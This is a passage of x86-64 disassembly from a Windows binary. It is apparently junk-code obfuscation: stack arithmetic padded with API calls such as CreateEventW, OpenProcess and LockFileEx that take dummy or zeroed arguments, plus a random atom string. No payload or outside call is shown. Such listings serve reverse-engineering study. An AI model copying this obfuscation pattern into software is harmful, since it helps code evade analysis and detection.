movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x415], al
mov dword [rsp + 0x1d8e0], 0x114
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcd38]
shl rax, cl
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcd38], rax
movzx ecx, word [rsp + 0x1e9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1eb8], ax
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x630c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62c8], eax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x416]
sub eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0xf9c]
and eax, ecx
mov word [rsp + 0x1d90], ax
movsx eax, byte [rsp + 0x414]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3ff], al
movsx eax, word [rsp + 0x1eb0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62dc], eax
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov eax, dword [rsp + 0x54ac]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xce58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x62c8], eax
cmp dword [rsp + 0x6328], 0x4951
jbe 0x1400129ee
mov dword [rsp + 0x1da00], 0x114
mov rax, qword [rsp + 0xcd30]
movzx ecx, al
mov rax, qword [rsp + 0xcd58]
shr rax, cl
mov qword [rsp + 0xaf28], rax
mov dword [rsp + 0x633c], 0xb5c7
cmp dword [rsp + 0x62d0], 0xfaac
ja 0x14001307d
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x630c]
xor ecx, eax
mov eax, ecx
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x413], al
mov dword [rsp + 0x20], 0x16b0
mov r9d, 0x62b
mov r8d, 0x140c
mov edx, 0x48e
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
add eax, ecx
mov word [rsp + 0x1eb4], ax
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d90], ax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62c8], eax
mov eax, dword [rsp + 0x62d0]
add eax, 0x7d
mov dword [rsp + 0x62d0], eax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
and eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
add rcx, rax
mov rax, rcx
mov qword [0x1401a5398], rax
movzx eax, byte [rsp + 0x413]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e94]
add eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
lea rcx, [rsp + 0x1d7c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sar eax, cl
mov word [rsp + 0x1d90], ax
mov rax, qword [0x1401a5398]
mov rcx, qword [rsp + 0xce20]
mov qword [rsp + 0xce60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x6300]
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb2f8], rax
jmp 0x140012dfe
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1ea4]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401a53a0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x417], al
movsx eax, word [rsp + 0x1eb4]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xce68], rax
mov dword [rsp + 0x6340], 0x5257
mov dword [rsp + 0x6344], 0xf7cd
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1ea8]
and eax, ecx
mov word [rsp + 0x1e94], ax
mov eax, dword [rsp + 0x51b8]
mov ecx, dword [rsp + 0x62d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62c8], eax
movsx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x414], al
movsx eax, word [rsp + 0x1eb0]
movsx ecx, word [rsp + 0x1ea0]
xor eax, ecx
mov word [0x1401a53a0], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0xf9c]
sar eax, cl
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
or eax, ecx
mov word [rsp + 0x1eac], ax
movsx eax, word [0x1401a53a0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1e94], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x62b4], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
and eax, ecx
mov byte [rsp + 0x417], al
mov eax, dword [rsp + 0x6344]
sub eax, 0x13
mov dword [rsp + 0x6344], eax
movzx eax, byte [rsp + 0x415]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x417], al
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb2f8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6348], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x62c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62ec], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [rsp + 0x6300]
mov ecx, dword [rsp + 0x62d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ea4]
add eax, ecx
mov word [0x1401b440c], ax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x413], al
movzx eax, word [rsp + 0xf9c]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcd40]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcd38], rax
mov r9d, 1
lea r8, [rsp + 0xcdd0]
mov rdx, qword [rsp + 0xcd88]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b8], eax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401a5398]
shl rax, cl
mov qword [rsp + 0xcd38], rax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0xf9c]
or eax, ecx
mov word [rsp + 0x1eac], ax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3ff]
sar eax, cl
mov byte [rsp + 0x414], al
cmp dword [rsp + 0x6344], 0xf24f
jae 0x140013113
mov rax, qword [rsp + 0xcd30]
mov qword [rsp + 0xce70], rax
movzx eax, byte [rsp + 0x14f]
mov byte [0x1401b440b], al
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6270], eax
lea rax, [rsp + 0x62d8]
mov qword [rsp + 0xce78], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
and eax, ecx
mov byte [rsp + 0x415], al
movsx eax, word [rsp + 0x1ea4]
movsx ecx, word [rsp + 0x1e94]
add eax, ecx
mov word [rsp + 0x1ea8], ax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
movsx eax, word [rsp + 0x1eb0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [rsp + 0xf9c], ax
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x51b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
lea rdx, [rsp + 0x634c]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x62e0], eax
mov eax, dword [0x1401b4410]
mov ecx, dword [rsp + 0x62c8]
add ecx, eax
mov eax, ecx
mov dword [0x1401a5394], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd30], rax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sar eax, cl
mov word [rsp + 0x1d90], ax
movsx eax, word [rsp + 0x1e94]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ea4], ax
lea rcx, str.FjoCqEQ_On5_Ka5TcW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
shl eax, cl
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x414]
or eax, ecx
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x6270]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x6300]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1401a5390], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1d90]
add eax, ecx
mov word [rsp + 0x1eac], ax
movsx eax, word [0x1401b440c]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
add eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [rsp + 0x62c0]
sub eax, 0xd7
mov dword [rsp + 0x62c0], eax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x51b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ac]
xor ecx, eax
mov eax, ecx
mov dword [0x1401b4410], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd60]
mov qword [rsp + 0xce80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [0x1401b440c]
shl eax, cl
mov word [rsp + 0x1ea4], ax
cmp dword [rsp + 0x62c0], 0x5ab0
ja 0x140013469
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xce88], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
or eax, ecx
mov byte [rsp + 0x322], al
mov rax, qword [rsp + 0xce28]
movzx eax, byte [rax]
mov byte [rsp + 0x6350], al
cmp byte [rsp + 0x6350], 0x4f
je 0x140013848
cmp byte [rsp + 0x6350], 0x57
je 0x1400138d9
jmp 0x14001390f
lea rcx, [rsp + 0x1bc20]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0xce90], rax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a5398]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f]
add eax, ecx
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d90], ax
movzx eax, byte [0x1401a5038]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
call fcn.140187a00
jmp 0x14001390f
lea rdx, [rsp + 0x1cdb0]
mov rcx, qword [rsp + 0xce98]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x6354], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xcd58]
mov rcx, qword [rsp + 0xce70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf28], rax
mov eax, dword [rsp + 0x62d8]
mov ecx, dword [rsp + 0x6300]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
cmp dword [rsp + 0x62a4], 0x88ff
jbe 0x140013b77
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
lea rdx, [rsp + 0x634c]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x62bc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf9c]
xor eax, ecx
mov word [rsp + 0x1d90], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
shl eax, cl
mov byte [rsp + 0x416], al
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [0x1401a5398]
movzx ecx, al
mov rax, qword [rsp + 0xcd38]
sar rax, cl
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd38]
add rcx, rax
mov rax, rcx
mov qword [0x1401a5398], rax
mov eax, dword [rsp + 0x62a4]
sub eax, 0x3c
mov dword [rsp + 0x62a4], eax
mov rax, qword [rsp + 0xce78]
mov ecx, dword [rsp + 0x62cc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xce78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x62ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62c8], eax
movsx eax, word [rsp + 0x1ea8]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea4], ax
movzx eax, byte [rsp + 0x322]
movzx ecx, byte [0x1401a5038]
and eax, ecx
mov rcx, qword [rsp + 0xce48]
mov byte [rcx], al
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [rsp + 0x3ff], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1d90]
add eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcd38], rax
movzx ecx, word [rsp + 0x1eb8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ebc], ax
jmp 0x140013962
lea rdx, [rsp + 0x62e4]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x634c], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov byte [rsp + 0x6358], al
cmp byte [rsp + 0x6358], 0
je 0x140013bb5
jmp 0x140013c97
mov rax, qword [rsp + 0xce30]
movzx eax, word [rax]
mov word [rsp + 0x1ec0], ax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401a53a8], rax
mov rax, qword [rsp + 0xce28]
movzx eax, byte [rax]
mov byte [rsp + 0x635c], al
cmp byte [rsp + 0x635c], 0x7e
je 0x140013c06
jmp 0x140013c79
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd60]
mov qword [rsp + 0xcea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcea0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb2f8], rax
lea rax, [rsp + 0x51b8]
mov qword [rsp + 0xcea8], rax
mov rax, qword [rsp + 0xcd98]
mov eax, dword [rax]
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
xor eax, ecx
mov byte [rsp + 0x415], al
jmp 0x140013c92
movzx eax, word [0x1401a53a4]
movzx ecx, word [rsp + 0x1eac]
sar eax, cl
mov word [rsp + 0xf9c], ax
jmp 0x140013d43
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [0x1401a53a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
sub eax, ecx
mov byte [rsp + 0x1ce], al
lea rdx, [rsp + 0x1ce20]
mov rcx, qword [rsp + 0xceb0]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x6308], eax
movzx edx, byte [rsp + 0x3ff]
mov rax, qword [rsp + 0xce28]
movzx ecx, byte [rax]
call fcn.1401878c0
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xcd58]
mov rcx, qword [rsp + 0xb2f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce70], rax
mov dword [rsp + 0x6364], 0xfb7f
movsx eax, byte [rsp + 0x414]
movsx ecx, byte [rsp + 0x3ff]
add eax, ecx
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
movsx edx, byte [0x1401b440b]
add ecx, edx
cmp eax, ecx
je 0x1401870b4
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x414]
add eax, ecx
mov byte [rsp + 0x2cd], al
lea rax, [rsp + 0xb2f8]
mov qword [rsp + 0xceb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
cmp dword [rsp + 0x6314], 0x33fa
jae 0x14001437c
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
and eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1ea4]
movsx ecx, word [rsp + 0x1eb0]
add eax, ecx
mov word [rsp + 0x1e94], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x759f
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x6338], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x413]
add eax, ecx
mov byte [rsp + 0x1ce], al
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1e94], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov word [rsp + 0xf9c], ax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov word [0x1401a53a4], ax
mov eax, dword [rsp + 0x630c]
mov ecx, dword [rsp + 0x62cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [0x1401b4410]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1d90]
and eax, ecx
mov word [rsp + 0x1eac], ax
movsx eax, word [rsp + 0x1ec0]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x322]
xor eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [0x1401a5398]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcd38], rax
mov edx, 0x405418
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x62f0], eax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401a53a8]
shl rax, cl
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1ea4]
movsx ecx, word [rsp + 0x1ea0]
add eax, ecx
mov word [0x1401b440c], ax
mov rax, qword [rsp + 0xce28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cd]
and eax, ecx
mov rcx, qword [rsp + 0xce28]
mov byte [rcx], al
mov eax, dword [rsp + 0x6314]
add eax, 0xba
mov dword [rsp + 0x6314], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5c44
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x6368], eax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x630c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xdc1
mov r9d, 0x2724
mov r8d, 0x1dda9c47
mov edx, 1
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x62e8], eax
lea rdx, [rsp + 0xcdb0]
